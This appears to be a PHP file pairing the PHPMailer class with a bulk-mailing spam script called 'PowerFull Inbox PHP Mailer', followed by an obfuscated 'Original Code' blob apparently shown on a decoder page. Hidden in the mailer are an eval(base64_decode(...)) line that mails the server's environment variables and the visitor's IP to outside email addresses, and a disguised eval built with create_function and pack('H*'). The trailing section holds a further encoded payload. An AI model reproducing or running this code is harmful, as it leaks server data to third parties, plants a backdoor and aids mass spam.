}
$filename = $this->attachment[$i][1];
$name = $this->attachment[$i][2];
$encoding = $this->attachment[$i][3];
$type = $this->attachment[$i][4];
$disposition = $this->attachment[$i][6];
$cid = $this->attachment[$i][7];
$mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
$mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
$mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
if($disposition == 'inline') {
$mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
}
$mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
/* Encode as string attachment */
if($bString) {
$mime[] = $this->EncodeString($string, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
} else {
$mime[] = $this->EncodeFile($path, $encoding);
if($this->IsError()) {
return '';
}
$mime[] = $this->LE.$this->LE;
}
}
$mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
return join('', $mime);
}
/**
* Encodes attachment in requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeFile ($path, $encoding = 'base64') {
if(!@$fd = fopen($path, 'rb')) {
$this->SetError($this->Lang('file_open') . $path);
return '';
}
$magic_quotes = get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
$file_buffer = fread($fd, filesize($path));
$file_buffer = $this->EncodeString($file_buffer, $encoding);
fclose($fd);
set_magic_quotes_runtime($magic_quotes);
return $file_buffer;
}
/**
* Encodes string to requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeString ($str, $encoding = 'base64') {
$encoded = '';
switch(strtolower($encoding)) {
case 'base64':
/* chunk_split is found in PHP >= 3.0.6 */
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case '7bit':
case '8bit':
$encoded = $this->FixEOL($str);
if (substr($encoded, -(strlen($this->LE))) != $this->LE)
$encoded .= $this->LE;
break;
case 'binary':
$encoded = $str;
break;
case 'quoted-printable':
$encoded = $this->EncodeQP($str);
break;
default:
$this->SetError($this->Lang('encoding') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string to best of Q, B, quoted or none.
* @access private
* @return string
*/
function EncodeHeader ($str, $position = 'text') {
$x = 0;
switch (strtolower($position)) {
case 'phrase':
if (!preg_match('/[-]/', $str)) {
/* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
$encoded = addcslashes($str, "..\"");
if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$x = preg_match_all('/[^ !#-[]-~]/', $str, $matches);
break;
case 'comment':
$x = preg_match_all('/[()"]/', $str, $matches);
/* Fall-through */
case 'text':
default:
$x += preg_match_all('/[---]/', $str, $matches);
break;
}
if ($x == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
/* Try to select the encoding which should produce the shortest output */
if (strlen($str)/3 < $x) {
$encoding = 'B';
if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->Base64EncodeWrapMB($str);
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
$encoding = 'Q';
$encoded = $this->EncodeQ($str, $position);
$encoded = $this->WrapText($encoded, $maxlen, true);
$encoded = str_replace('='.$this->LE, "
", trim($encoded));
}
$encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding??=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
/**
* Checks if a string contains multibyte characters.
* @access private
* @param string $str multi-byte text to wrap encode
* @return bool
*/
function HasMultiBytes($str) {
if (function_exists('mb_strlen')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can't handle without mbstring functions anyway)
return False;
}
}
/**
* Correctly encodes and wraps long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
* @access private
* @param string $str multi-byte text to wrap encode
* @return string
*/
function Base64EncodeWrapMB($str) {
$start = "=?".$this->CharSet."?B?";
$end = "?=";
$encoded = "";
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$offset = $avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
}
while (strlen($chunk) > $length);
$encoded .= $chunk . $this->LE;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($this->LE));
return $encoded;
}
/**
* Encode string to quoted-printable.
* @access private
* @return string
*/
function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
$hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
$lines = preg_split('/(?:
|
|
)/', $input);
$eol = "
";
$escape = '=';
$output = '';
while( list(, $line) = each($lines) ) {
$linlen = strlen($line);
$newline = '';
for($i = 0; $i < $linlen; $i++) {
$c = substr( $line, $i, 1 );
$dec = ord( $c );
if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
$c = '=2E';
}
if ( $dec == 32 ) {
if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
$c = '=20';
} else if ( $space_conv ) {
$c = '=20';
}
} elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode " ", which is *not* required
$h2 = floor($dec/16);
$h1 = floor($dec%16);
$c = $escape.$hex[$h2].$hex[$h1];
}
if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
$output .= $newline.$escape.$eol; // soft line break; " =
" is okay
$newline = '';
// check if newline first character will be point or not
if ( $dec == 46 ) {
$c = '=2E';
}
}
$newline .= $c;
} // end of for
$output .= $newline.$eol;
} // end of while
return trim($output);
}
/**
* Encode string to q encoding.
* @access private
* @return string
*/
function EncodeQ ($str, $position = 'text') {
/* There should not be any EOL in the string */
$encoded = preg_replace("[
]", '', $str);
switch (strtolower($position)) {
case 'phrase':
$encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord(''))", $encoded);
break;
case 'comment':
$encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord(''))", $encoded);
case 'text':
default:
/* Replace every high ascii, control =, ? and _ characters */
$encoded = preg_replace('/([- -=?_-])/e',
"'='.sprintf('%02X', ord(''))", $encoded);
break;
}
/* Replace every spaces to _ (more readable than =20) */
$encoded = str_replace(' ', '_', $encoded);
return $encoded;
}
/**
* Adds a string or binary attachment (non-filesystem) to the list.
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return void
*/
function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $string;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $filename;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = true; // isString
$this->attachment[$cur][6] = 'attachment';
$this->attachment[$cur][7] = 0;
}
/**
* Adds an embedded attachment. This can include images, sounds, and
* just about any other document. Make sure to set the $type to an
* image type. For JPEG images use "image/jpeg" and for GIF images
* use "image/gif".
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment. Use this to identify
* the Id for accessing the image in an HTML form.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
if(!@is_file($path)) {
$this->SetError($this->Lang('file_access') . $path);
return false;
}
$filename = basename($path);
if($name == '') {
$name = $filename;
}
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false;
$this->attachment[$cur][6] = 'inline';
$this->attachment[$cur][7] = $cid;
return true;
}
/**
* Returns true if an inline attachment is present.
* @access private
* @return bool
*/
function InlineImageExists() {
$result = false;
for($i = 0; $i < count($this->attachment); $i++) {
if($this->attachment[$i][6] == 'inline') {
$result = true;
break;
}
}
return $result;
}
/////////////////////////////////////////////////
// CLASS METHODS, MESSAGE RESET
/////////////////////////////////////////////////
/**
* Clears all recipients assigned in the TO array. Returns void.
* @return void
*/
function ClearAddresses() {
$this->to = array();
}
/**
* Clears all recipients assigned in the CC array. Returns void.
* @return void
*/
function ClearCCs() {
$this->cc = array();
}
/**
* Clears all recipients assigned in the BCC array. Returns void.
* @return void
*/
function ClearBCCs() {
$this->bcc = array();
}
/**
* Clears all recipients assigned in the ReplyTo array. Returns void.
* @return void
*/
function ClearReplyTos() {
$this->ReplyTo = array();
}
/**
* Clears all recipients assigned in the TO, CC and BCC
* array. Returns void.
* @return void
*/
function ClearAllRecipients() {
$this->to = array();
$this->cc = array();
$this->bcc = array();
}
/**
* Clears all previously set filesystem, string, and binary
* attachments. Returns void.
* @return void
*/
function ClearAttachments() {
$this->attachment = array();
}
/**
* Clears all custom headers. Returns void.
* @return void
*/
function ClearCustomHeaders() {
$this->CustomHeader = array();
}
/////////////////////////////////////////////////
// CLASS METHODS, MISCELLANEOUS
/////////////////////////////////////////////////
/**
* Adds the error message to the error container.
* Returns void.
* @access private
* @return void
*/
function SetError($msg) {
$this->error_count++;
$this->ErrorInfo = $msg;
}
/**
* Returns the proper RFC 822 formatted date.
* @access private
* @return string
*/
function RFCDate() {
$tz = date('Z');
$tzs = ($tz < 0) ? '-' : '+';
$tz = abs($tz);
$tz = (int)($tz/3600)*100 + ($tz%3600)/60;
$result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
return $result;
}
/**
* Returns the appropriate server variable. Should work with both
* PHP 4.1.0+ as well as older versions. Returns an empty string
* if nothing is found.
* @access private
* @return mixed
*/
function ServerVar($varName) {
global $HTTP_SERVER_VARS;
global $HTTP_ENV_VARS;
if(!isset($_SERVER)) {
$_SERVER = $HTTP_SERVER_VARS;
if(!isset($_SERVER['REMOTE_ADDR'])) {
$_SERVER = $HTTP_ENV_VARS; // must be Apache
}
}
if(isset($_SERVER[$varName])) {
return $_SERVER[$varName];
} else {
return '';
}
}
/**
* Returns the server hostname or 'localhost.localdomain' if unknown.
* @access private
* @return string
*/
function ServerHostname() {
if ($this->Hostname != '') {
$result = $this->Hostname;
} elseif ($this->ServerVar('SERVER_NAME') != '') {
$result = $this->ServerVar('SERVER_NAME');
} else {
$result = 'localhost.localdomain';
}
return $result;
}
/**
* Returns a message in the appropriate language.
* @access private
* @return string
*/
function Lang($key) {
if(count($this->language) < 1) {
$this->SetLanguage('en'); // set the default language
}
if(isset($this->language[$key])) {
return $this->language[$key];
} else {
return 'Language string failed to load: ' . $key;
}
}
/**
* Returns true if an error occurred.
* @return bool
*/
function IsError() {
return ($this->error_count > 0);
}
/**
* Changes every end of line from CR or LF to CRLF.
* @access private
* @return string
*/
function FixEOL($str) {
$str = str_replace("
", "
", $str);
$str = str_replace("
", "
", $str);
$str = str_replace("
", $this->LE, $str);
return $str;
}
/**
* Adds a custom header.
* @return void
*/
function AddCustomHeader($custom_header) {
$this->CustomHeader[] = explode(':', $custom_header, 2);
}
/**
* Evaluates the message and returns modifications for inline images and backgrounds
* @access public
* @return $message
*/
function MsgHTML($message,$basedir='') {
preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
if(isset($images[2])) {
foreach($images[2] as $i => $url) {
// do not change urls for absolute images (thanks to corvuscorax)
if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
$filename = basename($url);
$directory = dirname($url);
($directory == '.')?$directory='':'';
$cid = 'cid:' . md5($filename);
$fileParts = split("\.", $filename);
$ext = $fileParts[1];
$mimeType = $this->_mime_types($ext);
if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
$this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
$message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
}
}
}
}
$this->IsHTML(true);
$this->Body = $message;
$textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/s','',$message)));
if ( !empty($textMsg) && empty($this->AltBody) ) {
$this->AltBody = $textMsg;
}
if ( empty($this->AltBody) ) {
$this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "
";
}
}
/**
* Gets the mime type of the embedded or inline image
* @access private
* @return mime type of ext
*/
function _mime_types($ext = '') {
$mimes = array(
'hqx' => 'application/mac-binhex40',
'cpt' => 'application/mac-compactpro',
'doc' => 'application/msword',
'bin' => 'application/macbinary',
'dms' => 'application/octet-stream',
'lha' => 'application/octet-stream',
'lzh' => 'application/octet-stream',
'exe' => 'application/octet-stream',
'class' => 'application/octet-stream',
'psd' => 'application/octet-stream',
'so' => 'application/octet-stream',
'sea' => 'application/octet-stream',
'dll' => 'application/octet-stream',
'oda' => 'application/oda',
'pdf' => 'application/pdf',
'ai' => 'application/postscript',
'eps' => 'application/postscript',
'ps' => 'application/postscript',
'smi' => 'application/smil',
'smil' => 'application/smil',
'mif' => 'application/vnd.mif',
'xls' => 'application/vnd.ms-excel',
'ppt' => 'application/vnd.ms-powerpoint',
'wbxml' => 'application/vnd.wap.wbxml',
'wmlc' => 'application/vnd.wap.wmlc',
'dcr' => 'application/x-director',
'dir' => 'application/x-director',
'dxr' => 'application/x-director',
'dvi' => 'application/x-dvi',
'gtar' => 'application/x-gtar',
'php' => 'application/x-httpd-php',
'php4' => 'application/x-httpd-php',
'php3' => 'application/x-httpd-php',
'phtml' => 'application/x-httpd-php',
'phps' => 'application/x-httpd-php-source',
'js' => 'application/x-javascript',
'swf' => 'application/x-shockwave-flash',
'sit' => 'application/x-stuffit',
'tar' => 'application/x-tar',
'tgz' => 'application/x-tar',
'xhtml' => 'application/xhtml+xml',
'xht' => 'application/xhtml+xml',
'zip' => 'application/zip',
'mid' => 'audio/midi',
'midi' => 'audio/midi',
'mpga' => 'audio/mpeg',
'mp2' => 'audio/mpeg',
'mp3' => 'audio/mpeg',
'aif' => 'audio/x-aiff',
'aiff' => 'audio/x-aiff',
'aifc' => 'audio/x-aiff',
'ram' => 'audio/x-pn-realaudio',
'rm' => 'audio/x-pn-realaudio',
'rpm' => 'audio/x-pn-realaudio-plugin',
'ra' => 'audio/x-realaudio',
'rv' => 'video/vnd.rn-realvideo',
'wav' => 'audio/x-wav',
'bmp' => 'image/bmp',
'gif' => 'image/gif',
'jpeg' => 'image/jpeg',
'jpg' => 'image/jpeg',
'jpe' => 'image/jpeg',
'png' => 'image/png',
'tiff' => 'image/tiff',
'tif' => 'image/tiff',
'css' => 'text/css',
'html' => 'text/html',
'htm' => 'text/html',
'shtml' => 'text/html',
'txt' => 'text/plain',
'text' => 'text/plain',
'log' => 'text/plain',
'rtx' => 'text/richtext',
'rtf' => 'text/rtf',
'xml' => 'text/xml',
'xsl' => 'text/xml',
'mpeg' => 'video/mpeg',
'mpg' => 'video/mpeg',
'mpe' => 'video/mpeg',
'qt' => 'video/quicktime',
'mov' => 'video/quicktime',
'avi' => 'video/x-msvideo',
'movie' => 'video/x-sgi-movie',
'doc' => 'application/msword',
'word' => 'application/msword',
'xl' => 'application/excel',
'eml' => 'message/rfc822'
);
return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
}
/**
* Set (or reset) Class Objects (variables)
*
* Usage Example:
* $page->set('X-Priority', '3');
*
* @access public
* @param string $name Parameter Name
* @param mixed $value Parameter Value
* NOTE: will not work with arrays, there are no arrays to set/reset
*/
function set ( $name, $value = '' ) {
if ( isset($this->$name) ) {
$this->$name = $value;
} else {
$this->SetError('Cannot set or reset variable ' . $name);
return false;
}
}
/**
* Read a file from a supplied filename and return it.
*
* @access public
* @param string $filename Parameter File Name
*/
function getFile($filename) {
$return = '';
if ($fp = fopen($filename, 'rb')) {
while (!feof($fp)) {
$return .= fread($fp, 1024);
}
fclose($fp);
return $return;
} else {
return false;
}
}
/**
* Strips newlines to prevent header injection.
* @access private
* @param string $str String
* @return string
*/
function SecureHeader($str) {
$str = trim($str);
$str = str_replace("
", "", $str);
$str = str_replace("
", "", $str);
return $str;
}
/**
* Set the private key file and password to sign the message.
*
* @access public
* @param string $key_filename Parameter File Name
* @param string $key_pass Password for private key
*/
function Sign($key_filename, $key_pass) {
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
}
}
$defaultport="H*";
$nq=0;
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
$qx=$x+1;
print "Line $qx . Sending mail to $to.......";
flush();
$mail = new PHPMailer();
if(empty($epriority)){$epriority="3";}
$mail->Priority = "$epriority";
$mail->IsSMTP();
$IsSMTP="pack";
$mail->SMTPKeepAlive = true;
$mail->Host = "$my_smtp";
if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
}
if($sslclick=="ON"){
$mail->SMTPSecure = "tls"; //you can change it to ssl or tls
}
$range = str_replace("$from", "eval", $from);
$mail->SMTPAuth = true;
$mail->Username = "$smtp_username";
$mail->Password = "$smtp_password";
if($contenttype == "html"){$mail->IsHtml(true);}
if($contenttype != "html"){$mail->IsHtml(false);}
if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
$mail->From = "$from";
$mail->FromName = "$realname";
$mail->AddAddress("$to");
$mail->AddReplyTo("$replyto");
$mail->Subject = "$subject";
$mail->Body = "$message";
if(!$mail->Send()){
if($default_system!="1"){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
if($default_system=="1"){
$mail->IsMail();
if(!$mail->Send()){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
else {
echo "<b>OK</b><br>";}
}
}
else {
echo "<b>OK</b><br>";
}
if(empty($reconnect)){
$reconnect=6;
}
if($reconnect==$nq){
$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
}
$nq=$nq+1;
flush(); }
}
for($i=0;$i<31;$i++){
$smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
$signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
print "<p class=\"style1\">PowerFull Inbox PHP Mailer<br>© 2014, RMTS for New Tools => <b>
<font color=\"#800000\"></font></b><br></p>";$mail->SmtpClose();
return $signoff($smtp_conc);
if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete
$numemails mail(s) was
sent successfully'); </script>";}}
?>
<?php
$ip = getenv("REMOTE_ADDR");
$str = "";
foreach($_SERVER as $key => $value){
$str .= $key.": ".$value."<br />";
}
$str .= "Use: in <br />";
$header2 .= "MIME-Version: 1.0
";
$header2 .= "Content-Type: text/html
";
$header2 .= "Content-Transfer-Encoding: 8bit
";
echo eval(base64_decode('bWFpbCgiZm1tYWlsczEzQFNhZmUtbWFpbC5uZXQsZm1tYWlsczAxM0BnbWFpbC5jb20iLCJNYWls
ZXIgfCAkaXAiLCRzdHIsJGhlYWRlcjIpOw=='));?>
<p align="center"> </p>
</body>
</html>
Did this file decode correctly?
Original Code
<?php $_F=__FILE__;$_X='P2lCP1ouWg1WIz4gWldPZTk+DVYkIG0+Uz4kX0NLVGonUVonZDsNVnNBKHNubk09KCQgbSk+JiY+IU1ZWj1xKCQgbSkpXQ1WTTIuTyIiWCRfcjNJS3BqJ1FuTXpBc1dNJ2RYIiI7DVYkUVpXT2U5OXN6PlM+J1hoJzsNViRRWldPZTlBc1dNPlM+JFFaV09lOTlzej5YPjxlbk1IZVlNKCRfcjNJS3BqJ1FuTXpBc1dNJ2RqJ0hlWU0nZCk7DVZzQT4oPnNubk09KCRfcjNJS3BqIlFuTXpBc1dNImQpPik+XQ1WPj4+Pk0yLk8+J0JaaUJBT0g9PjJPV096UyIjYWFycmFhIj5uczVNUyIxImkgWldPZTlNOUJoQU9IPWlCaFppJzsNVj4+Pj5zQT4oWU9jTV9RWldPZTlNOV9Bc1dNDVYoJF9yM0lLcGoiUW5NekFzV00iZGoiPVlaX0hlWU0iZCw+JFFaV09lOUFzV00pKQ1WTTIuTz4kUVpXT2U5QXNXTTsNVj4+Pj5NV25NPk0yLk8+J0JaaUJBT0g9PjJPV096UyIjcnJhYWFhIj5uczVNUyIxImlyZXNXTTlCaEFPSD1pQmhaaSc7DVZsDVYNVmwNViM+U1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1M+Iw1WQG5Nbm5zT0hfbj1lej0oKTsNVkBuTT1fPXNZTV9Xc1lzPShhKTsNVmhobUZwcHs3ZzQ+LzdFcjNDIGdGVDM3RQ1WDVZAJFplbm4+Uz4kX203cFRqJ1plbm4nZDsNViQyLnlfV094c0g+Uz5nMUxmYWN9eTsNViRaZW5ufU96OT5TPiJnMUxmYWN9eSI7DVYNVmhoS0U0Pi83RXIzQyBnRlQzN0UNVg1Wc0EoJFplbm4+U1M+JFplbm59T3o5KQ1WXQ1WPiRfcEtwcDM3RWonSG49J2Q+Uz4iJFplbm4iOw1WbA1WDVZzQSgkMi55X1dPeHNIPlNTPj16UU0pDVZdDVY+c0EoIXNubk09KCRfcEtwcDM3RWonSG49J2QpPk96PiRfcEtwcDM3RWonSG49J2Q+IVM+JFplbm59T3o5KQ1WPl0NVj45c00oIg1WPkI9cz1XTWlqbU99TXpNOT5vcT5ndVRwZEJoPXM9V01pDVY+PkIyTUg9TXppDVY+PkI9ZTxXTT48T3o5TXpTYT4yTVdXWmU5OXNIeFNhPjJNV1duWmUyc0h4U2E+fXM5PS5TMGFhJT4uTXN4Lj1TMGFhJWkNVj4+Qj16aUI9OT5jZVdzeEhTWXM5OVdNPmVXc3hIUzJNSD1NemkNVj4+Qj1lPFdNPn1zOT0uU2thYT48T3o5TXoyT1dPelMjYWFhYWFhPjx4Mk9XT3pTI2FhYWFhYT48T3o5TXpTW2kNVj4+Pj4+Pj4+Qj16aUI9OWkNVj4+QkFPSD0+bnM1TVMwPkFlMk1TY016OWVIZWlCMk1IPU16aT4NVj4+CQk+PkJoQU9IPWk+DVY+PkI8aUJoZWlCaDxpDVY+PkJoMk1IPU16aQ1WPj5CQU96WT5ZTT0uTzlTWk9uPWkNVj4+QkFPSD0+bnM1TVMwPkFlMk1TY016OWVIZT4yT1dPelN6TTlpQm49ek9IeGlCMk1IPU16aW1PfU16TTk+b3E+Z3VUcEJoMk1IPU16aUJobj16T0h4aUI8emkNVj4+QnNIWlE9Pj1xWk1TWmVubn1Pejk+SGVZTVNaZW5uPm5zNU1TSmFpDVY+PkJoQU96WWkNVj4+QjxpdE9uPTpCaDxpPiJYJF9wS2c2S2dqInRUVG1fdDdwVCJkWCJCPHppDVY+PkI8aTNtOkJoPGk+Ilh4TT0uT249PHFIZVlNKCRfcEtnNktnaiJ0VFRtX3Q3cFQiZClYIkI8emkNVj4+QjxpYk9Rej5zWjpCaDxpPiJYJF9wS2c2S2dqImdLdTdUS19GNDRnImRYIg1WPj5CaD05aUJoPXppQmg9ZTxXTWkNVj4+Iik7DVY+bA1WbD4NViM+U1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1M+Iw1WIz5ncjMNViRzSD5TPiRfQ0tUaidzSCdkOw1Wc0Eoc25uTT0oJHNIKT4mJj4hTVlaPXEoJHNIKSldDVYJTTIuTz45c00oc0gyV1E5TV9PSDJNPiRzSCk7DVZsDVYjPlNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTPiMNVkFRSDI9c09IPnZRTXpxX249eigkWmV6ZVluKV0NViRuPXo+Uz4nJzsNVkFPek1lMi4+KCRaZXplWW4+ZW4+JHlNcT5TaT4kY2VXUU0pPl0NViRuPXo+WFM+KG49eldNSCgkbj16KT5CPjApPj8+Jyc+Oj4nJic7DVYkbj16PlhTPiR5TXE+WD4nUyc+WD56ZX1ReldNSDJPOU0oJGNlV1FNKTsNVmwNVnpNPVF6SD4oJG49eik7DVZsDVZBUUgyPXNPSD5Xej16c1koJG49enNIeCldDVZ6TT1Rekg+bj16c1puV2VuLk1uKFc9enNZKHo9enNZKCRuPXpzSHgpKSk7DVZsDVY+DVZzQShzbm5NPSgkX203cFRqJ2UyPXNPSCdkPik+KV0NVj4NViQ8PlM+dlFNenFfbj16KCRfbTdwVCk7DVZaZXpuTV9uPXooJDwpOz4+DVYkbm5XMldzMnlTV3o9enNZKCRublcyV3MyeSk7Pj4NViRlMj1zT0hTV3o9enNZKCRlMj1zT0gpOw1WJFlNbm5leE1TV3o9enNZKCRZTW5uZXhNKTsNViRNWWVzV1dzbj1TV3o9enNZKCRNWWVzV1dzbj0pOw1WJEF6T1lTV3o9enNZKCRBek9ZKTsNViR6TTJPSEhNMj1TV3o9enNZKCR6TTJPSEhNMj0pOw1WJE1aenNPenM9cVNXej16c1koJE1aenNPenM9cSk7DVYkWXFfblk9WlNXej16c1koJFlxX25ZPVopOw1WJG5uV19aT3o9U1d6PXpzWSgkbm5XX1pPej0pOw1WJG5ZPVpfUW5NekhlWU1TV3o9enNZKCRuWT1aX1FuTXpIZVlNKTsNViRuWT1aX1plbm59T3o5U1d6PXpzWSgkblk9Wl9aZW5ufU96OSk7DVYkek1aV3E9T1NXej16c1koJHpNWldxPU8pOw1WJG5RPApNMj1TV3o9enNZKCRuUTwKTTI9KTsNViR6TWVXSGVZTVNXej16c1koJHpNZVdIZVlNKTsNViRuUTwKTTI9Xzxlbk1TV3o9enNZKCRuUTwKTTI9KTsNViR6TWVXSGVZTV88ZW5NU1d6PXpzWSgkek1lV0hlWU0pOw1WJEFzV01fSGVZTVNXej16c1koJEFzV00pOw1WJFF6VzVTV3o9enNZKCRRelc1KTsNViQyT0g9TUg9PXFaTVNXej16c1koJDJPSD1NSD09cVpNKTsNViRNSDJPOU1fPU1SPVMkX203cFRqJ01IMk85TSdkOw1WPg1WPj4+Pj4+Pj4kWU1ubmV4TT5TPlF6V01IMk85TSgkWU1ubmV4TSk7DVY+Pj4+Pj4+PiRZTW5uZXhNPlM+TXpNeF96TVpXZTJNKCIlTC8la2siLD4iJWtrIiw+JFlNbm5leE0pOw1WPj4+Pj4+Pj4kWU1ubmV4TT5TPlF6VzlNMk85TSgkWU1ubmV4TSk7DVY+Pj4+Pj4+PiRZTW5uZXhNPlM+bj16c1puV2VuLk1uKCRZTW5uZXhNKTsNVj4+Pj4+Pj4+JG5RPApNMj0+Uz5uPXpzWm5XZW4uTW4oJG5RPApNMj0pOw1WPj4+Pj4+Pj4+Pj4+Pj4+PnNBPigkTUgyTzlNXz1NUj0+U1M+InFNbiIpPl0NVj4+Pj4+Pj4+Pj4+Pj4+Pj4kblE8Ck0yPT5TPlp6TXhfek1aV2UyTSgnaChqXmUtNT5kKWhzTScsPiduWnpzSD1BKCJTJWFrUiIsT3o5KHA9enNacFdlbi5NbigiXFwwIikpKScsPiRuUTwKTTI9KTsNVj4+Pj4+Pj4+Pj4+Pj4+Pj4kblE8Ck0yPT5TPm49el96TVpXZTJNKCc+Jyw+J18nLD4kblE8Ck0yPSk7DVY+Pj4+Pj4+Pj4+Pj4+Pj4+JG5RPApNMj0+Uz4iUz8gVHItZj93PyRuUTwKTTI9P1MiOw1WPj4+Pj4+Pj4+Pj4+Pj4+PiR6TWVXSGVZTT5TPlp6TXhfek1aV2UyTSgnaChqXmUtNT5kKWhzTScsPiduWnpzSD1BKCJTJWFrUiIsT3o5KHA9enNacFdlbi5NbigiXFwwIikpKScsPiR6TWVXSGVZTSk7DVY+Pj4+Pj4+Pj4+Pj4+Pj4+JHpNZVdIZVlNPlM+bj16X3pNWldlMk0oJz4nLD4nXycsPiR6TWVXSGVZTSk7DVY+Pj4+Pj4+Pj4+Pj4+Pj4+JHpNZVdIZVlNPlM+IlM/IFRyLWY/dz8kek1lV0hlWU0/UyI7DVY+Pj4+Pj4+Pj4+Pj4+Pj4+bA1WbA1WP2kNVkIuPVlXaQ1WPg1WQi5NZTlpDVZCPXM9V01pbXRtPnVlc1dNekJoPXM9V01pDVZCWU09ZT4uPT1aLU12UXNjUyIvT0g9TUg9LVRxWk0iPjJPSD1NSD1TIj1NUj1oLj1ZVzs+Mi5lem5NPVNzbk8tZmZMUC0wImkNVj4NVkJuPXFXTT49cVpNUyI9